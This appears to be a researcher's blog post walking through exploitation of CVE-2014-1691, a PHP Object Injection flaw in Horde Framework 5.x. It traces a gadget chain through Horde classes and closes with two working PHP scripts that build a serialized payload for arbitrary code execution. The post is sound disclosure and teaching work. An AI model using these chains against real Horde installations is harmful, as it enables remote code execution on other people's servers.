Exploiting CVE-2014-1691: Horde Framework PHP Object Injection Vulnerability

Welcome to my third blog post ever, the first in this new year, but still talking about an old friend of mine. Yes, 2014 is here, however the topic is always the same: PHP Object Injection! Perhaps those few people who read my blog are wondering if I will ever write about something else, or whether this is going to be a monothematic blog… Well, who knows?! It could be, or maybe not, but the point is that right now I’m really in love with this kind of vulnerabilities, and today I would like to share with you what in my view is an interesting story about a PHP Object Injection vulnerability which affected the Horde Framework.
I’ve noticed this vulnerability in late May 2013, during my free time, while testing the Horde Framework version 5.1.0. During a first stage I have spotted only a couple of useful magic methods which could be leveraged to carry out some kind of attack. The first interesting thing I noticed was in the Horde_Auth_Passwd::__destruct method, which allows to rename arbitrary files through some of its properties. I thought that this could be exploited somehow even to achieve arbitrary code execution (e.g. renaming a log file into something.php) or to cause a Denial of Service condition by renaming an essential file like /config/conf.php, however the point is that the full path of the file to be renamed should be known, and this requirement increases the attack’s complexity, making the issue quite weak. Therefore, I have decided to dug a bit more before to contact the Horde Core Team, and when in early July I have found the attack vector that I’m going to explain in this blog post, (un)fortunately it was too late to contact them, because they had already fixed the issue on June 27, 2013.
Seven months later, someone requested a new CVE identifier for this security issue, saying that he has discovered the bug while reviewing the Horde3 source code, and that the credits should go to the Horde Core Team, since they have discovered and fixed the bug in Horde5. While I totally agree with that, I’m not sure how this vulnerability can be exploited on Horde3, the only thing I’m sure of is that the following attack vector doesn’t work on Horde3, simply because the classes used in this attack are different or not even present in the Horde3 codebase. As I said, I was testing version 5.1.0, and version 5.1.1 should be affected as well, since it has been released on June 18, 2013. Let’s stop talking about the story, and let’s go into the exploitation details!

• Building the POP Chain

As I was saying, initially I didn’t notice so many interesting magic methods within the Horde Core. However I have noticed a potential candidate class to start a so called “POP chain”, in other words, a chain of objects connected to each other through their properties, whose purpose is to transfer the execution flow into an “interesting” method. Within the Horde5 Core, an interesting class that can be used to start a “POP chain” is Horde_Kolab_Server_Decorator_Clean, because of its destructor method:

    public function cleanup()
    {
        foreach ($this->_added as $guid) {
            $this->delete($guid);
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        $this->cleanup();
    }

This destructor calls the Horde_Kolab_Server_Decorator_Clean::cleanup method, which at line 257 executes a “foreach” using the _added property as array, that means the first requirement is that this property should be an array with at least one element, and that’s because we want to transfer the execution flow into the Horde_Kolab_Server_Decorator_Clean::delete method:

    public function delete($guid)
    {
        $this->_server->delete($guid);
        if (in_array($guid, $this->_added)) {
            $this->_added = array_diff($this->_added, array($guid));
        }
    }

This method, at line 205, calls the delete method of the object stored into the _server property, which is supposed to be a Horde_Kolab_Server object. However, while building a “POP chain”, an attacker can set the _server property to an arbitrary object. In this case, an interesting class would be Horde_Prefs_Identity, because of its delete method:

   public function delete($identity)
    {
        $deleted = array_splice($this->_identities, $identity, 1);
        foreach (array_keys($this->_identities) as $id) {
            if ($this->setDefault($id)) {
                break;
            }
        }
        $this->save();

        return $deleted;
    }

This time there’s no need to care about the _identities property, because there’s nothing interesting within the setDefault method. So, let’s just ignore lines 175-180, and jump to line 181, where is called the Horde_Prefs_Identity::save method:

    /**
     * Saves all identities in the prefs backend.
     */
    public function save()
    {
        $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));
        $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
    }

As the comment suggests, this method “saves all identities in the prefs backend”. Indeed, is called the setValue method of the object stored into the _prefs property, which is supposed to be a Horde_Prefs object. Well, this time we are going to use exactly that kind of object, and that’s because of the Horde_Prefs::setValue method:

    public function setValue($pref, $val, array $opts = array())
    {
        /* Exit early if preference doesn't exist or is locked. */
        if (!($scope = $this->_getScope($pref)) ||
            $this->_scopes[$scope]->isLocked($pref)) {
            return false;
        }

        // Check to see if the value exceeds the allowable storage limit.
        if ($this->_opts['sizecallback'] &&
            call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {
            return false;
        }

This might be the end of the “POP chain”, because we have finally reached the “interesting” method we were looking for. The reason is that at line 200 is called the call_user_func() PHP function, which calls the “callback” given by the first parameter and passes the remaining parameters as arguments. Since an attacker can control the first two parameters that are being passed to call_user_func() through certain object’s properties, this means that she might be able to execute arbitrary PHP code.

• Are we done? Hmm…not so fast!

First of all, in order to reach line 200, at least one of the two conditions of the if statement at line 193 must be true, otherwise the Horde_Prefs::setValue method will return false without reaching the if statement at line 199. As the comment at line 192 suggests, the method will return false if the preference doesn’t exist or is locked. This “preference” is given by the $pref parameter that is being passed to the Horde_Prefs::setValue method from within the Horde_Prefs_Identity::save method. This means that while for the application it represents just “the preference name to modify”, for the attacker it represents the PHP payload that is being passed to call_user_func() through the _prefnames['identities'] property of the Horde_Prefs_Identity object of the “POP chain”. So, let’s have a look at the Horde_Prefs::_getScope method:

    protected function _getScope($pref)
    {
        if ($this->_scopes[$this->_scope]->exists($pref)) {
            return $this->_scope;
        } elseif (($this->_scope != self::DEFAULT_SCOPE) &&
            ($this->_scopes[self::DEFAULT_SCOPE]->exists($pref))) {
            return self::DEFAULT_SCOPE;
        }

        return null;
    }

This method returns “the scope of the preference, or null if it doesn’t exist”. Actually, is called the exists method of certain objects stored into the _scopes array, which is a property of the Horde_Prefs class that is supposed to be a “scope list” (an array whose keys are scope names, while values are Horde_Prefs_Scope objects). In other words, another requirement for the “POP chain” is that the _scopes property of the Horde_Prefs object should be set ad-hoc in order to point to a proper Horde_Prefs_Scope object, and that’s because of the Horde_Prefs_Scope::exists method:

    /**
     * Does a preference exist in this scope?
     *
     * @return boolean  True if the preference exists.
     */
    public function exists($pref)
    {
        return isset($this->_prefs[$pref]);
    }

The second question is: ok, we finally control a call_user_func() call, how this can be exploited to execute arbitrary PHP code? We can’t use eval() because it’s a language construct, hence not a valid “callback”. However, there’s the assert() function which allows to do more or less the same. The point is that assert() will not work if the Horde Framework is running on PHP < 5.4.8, because before that version assert() accepts only one parameter, while in this case we can control a call_user_func() call which passes two parameters to the “callback” function. Nevertheless, the call_user_func() function allows to call also objects’ methods, and not only functions, meaning that we can call every method of every available class within the Horde Core. At this point, one of the easiest ways to achieve arbitrary PHP code execution would be to call the Horde_Date_Parser_Token::untag method, which uses create_function() to dynamically create a function used to filter the array stored in its tags property:

    /**
     * Remove all tags of the given class
     */
    public function untag($tagClass)
    {
        $this->tags = array_filter($this->tags, create_function('$t', 'return substr($t[0], 0, ' . strlen($tagClass) . ') != "' . $tagClass . '";'));
    }

Finally, we have reached the end of the “POP chain”, that should be a Horde_Date_Parser_Token object whose tags property is an array containing at least one string. It is very likely there could be another way, probably easier, to achieve arbitrary code execution, but I think this way is quite interesting, especially considering the fact that it works just with classes of the Horde Core, which means that theoretically it should affect every application built with a vulnerable version of the Horde Framework. For this reason, I would recommend to the Horde Core Team a security code review focused on the removal of any potentially vulnerable unserialize() call within the Horde Core, as well as in every Horde application. So, this is the end, let’s make the “POP chain”…

• Putting It All Together

$phpcode = '"&&eval("phpinfo();die;")=="';

class Horde_Date_Parser_Token
{
   public $tags = array('A');
}

class Horde_Prefs_Scope
{
   protected $_prefs;

   function __construct()
   {
      $this->_prefs = array($GLOBALS['phpcode'] => 1);
   }
}

class Horde_Prefs
{
   protected $_opts, $_scopes;

   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
}

class Horde_Prefs_Identity
{
   protected $_prefs, $_prefnames;

   function __construct()
   {
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = $GLOBALS['phpcode'];
   }
}

class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added = array(1);

   function __construct()
   {
      $this->_server = new Horde_Prefs_Identity;
   }
}
 
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);

• Update (March 19, 2014)

It has recently been brought to my attention that this “POP chain” will not work with a default installation of the Horde Framework. The reason is that the Date_Parser library, in which is defined the Horde_Date_Parser_Token class, is not included in a vanilla installation of Horde. I chose that class just because it was one of the first that I noticed with an “interesting” method, without verifying whether it’s included in a default installation. Well, like I said before, it should be possible to call every method of every available class defined within the Horde Core, and there is another way (only one?) to achieve arbitrary code execution, by calling the readXMLConfig method of the Horde_Config class, which – as the name suggests – is included in a default installation:

    public function readXMLConfig($custom_conf = null)
    {
        if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
            return $this->_xmlConfigTree;
        }

        $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';

        if ($custom_conf) {
            $this->_currentConfig = $custom_conf;
        } else {
            /* Fetch the current conf.php contents. */
            @eval($this->getPHPConfig());
            if (isset($conf)) {
                $this->_currentConfig = $conf;
            }
        }

At line 179 there’s an eval() call using the value returned by the Horde_Config::getPHPConfig method:

    public function getPHPConfig()
    {
        if (!is_null($this->_oldConfig)) {
            return $this->_oldConfig;
        }

This method returns the value of the _oldConfig property, in case it’s not null, otherwise it will return the content of the conf.php file. Basically this means that two changes are required in order to make the “POP chain” working on a default installation: the first one is a replacement of the Horde_Date_Parser_Token object with a Horde_Config object containing the PHP payload within its _oldConfig property. While the second one is that the _prefnames['identities'] property of the Horde_Prefs_Identity object should be set to false, and that’s because that value is being passed as the $custom_conf parameter of the readXMLConfig method, which is used as condition of the if statement at line 175. The new resulting “POP chain” can be made by the following:

class Horde_Config
{
   protected $_oldConfig = "phpinfo();die;";
}

class Horde_Prefs_Scope
{
   protected $_prefs = array(1);
}

class Horde_Prefs
{
   protected $_opts, $_scopes;

   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
}

class Horde_Prefs_Identity
{
   protected $_prefs, $_prefnames;

   function __construct()
   {
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = 0;
   }
}

class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added = array(1);

   function __construct()
   {
      $this->_server = new Horde_Prefs_Identity;
   }
}

$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);